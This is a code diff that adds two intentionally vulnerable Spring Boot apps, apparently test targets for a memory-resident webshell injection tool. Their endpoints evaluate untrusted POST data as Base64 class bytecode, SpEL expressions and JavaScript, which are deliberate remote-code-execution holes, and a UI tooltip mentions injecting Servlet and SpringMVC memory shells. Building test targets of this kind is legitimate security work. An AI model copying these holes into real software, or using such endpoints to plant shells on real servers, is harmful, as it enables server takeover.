include 'vul:vul-springboot2'
|
||||
include 'vul:vul-springboot3'
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM openjdk:8
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/vul-springboot2.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,24 @@
|
||||
plugins {
|
||||
id 'org.springframework.boot' version '2.7.6'
|
||||
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
|
||||
id 'java'
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
sourceCompatibility = '1.8'
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||
}
|
||||
|
||||
tasks.named('test') {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.vul.springboot2;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonAutoDetect;
|
||||
import com.fasterxml.jackson.annotation.PropertyAccessor;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot2Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot2Application.class, args);
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController extends ClassLoader {
|
||||
@PostMapping
|
||||
public String base64ClassLoader(String data) throws Exception {
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
return o.toString();
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/js")
|
||||
public class ScriptEngineController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> js(String data) throws ScriptException {
|
||||
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/spel")
|
||||
public class SpELController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> spel(String data) {
|
||||
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
package com.reajason.javaweb.vul.springboot2;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
|
||||
@SpringBootTest
|
||||
class VulSpringboot2ApplicationTests {
|
||||
|
||||
@Test
|
||||
void contextLoads() {
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM openjdk:17
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/vul-springboot3.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,20 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'war'
|
||||
id 'org.springframework.boot' version '3.3.7'
|
||||
id 'io.spring.dependency-management' version '1.1.7'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.vul.springboot3;
|
||||
|
||||
public class ClassDefiner extends ClassLoader {
|
||||
private ClassDefiner() {
|
||||
}
|
||||
|
||||
public static Class<?> defineClass(byte[] code) {
|
||||
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
package com.reajason.javaweb.vul.springboot3;
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot3Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot3Application.class, args);
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.vul.springboot3.controller;
|
||||
|
||||
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController {
|
||||
|
||||
@PostMapping
|
||||
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = ClassDefiner.defineClass(bytes).newInstance();
|
||||
return o.toString();
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
package com.reajason.javaweb.vul.springboot3.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
return "";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.vul.springboot3.controller;
|
||||
|
||||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/spel")
|
||||
public class SpELController {
|
||||
|
||||
/**
|
||||
* 10000 长度限制,无法使用
|
||||
*/
|
||||
@PostMapping
|
||||
public ResponseEntity<?> spel(String data) {
|
||||
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
spring.application.name=vul-springboot3
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
package com.reajason.javaweb.vul.springboot3;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
|
||||
@SpringBootTest
|
||||
class VulSpringboot3ApplicationTests {
|
||||
|
||||
@Test
|
||||
void contextLoads() {
|
||||
}
|
||||
|
||||
}
|
||||
@@ -10,6 +10,7 @@ export function UrlPatternTip() {
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||
<p>当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
|
||||
Reference in New Issue
Block a user